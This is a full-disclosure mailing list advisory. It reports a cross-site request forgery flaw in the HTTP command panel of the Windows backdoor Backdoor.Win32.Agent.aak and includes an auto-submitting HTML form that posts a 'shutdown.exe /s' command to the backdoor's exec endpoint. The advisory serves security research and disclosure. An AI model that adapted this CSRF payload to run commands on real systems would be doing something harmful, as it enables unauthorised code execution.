full-disclosure - [FD] Backdoor.Win32.Agent.aak / Cross Site Request Forgery (CSRF)

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Message-ID: <CAAHK0WRbxFVFDunrc42A6y-jKf08tkDtOnD-2aD8AR6EQahtsQ@mail.gmail.com>
Date: Wed, 17 Feb 2021 22:22:16 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.aak / Cross Site Request Forgery (CSRF) -
	Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Cross Site Request Forgery (CSRF) - Code Execution
Description: Backdoor HTTP server HBKDR v0.3 executes commands on the
infected host using an HTML form with POST method. The HTML web form
component fails to provide a CSRF security token to verify and process only
authorized HTTP POST requests. This allows arbitrary code execution on the
infected system by third party attackers if the malware operator visits a
malcious webpage or clicks an infected link.
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0095
Dropped files:
Disclosure: 02/17/2021

Exploit/PoC:
CSRF - issue the shutdown command to kill the infected system by luring the
operator to a malicious webpage etc.

"Backdoor_Agent.aak_CSRF_RCE.html"

&lt;form  method=post action="http://192.168.1.10:8080/exec.hbd&gt;
&lt;input  type=text name=txtExec value="shutdown.exe /s&gt;
&lt;script>document.forms[0].submit()&lt;/script&gt;
&lt;/form&gt;

Executing shutdown.exe /s...

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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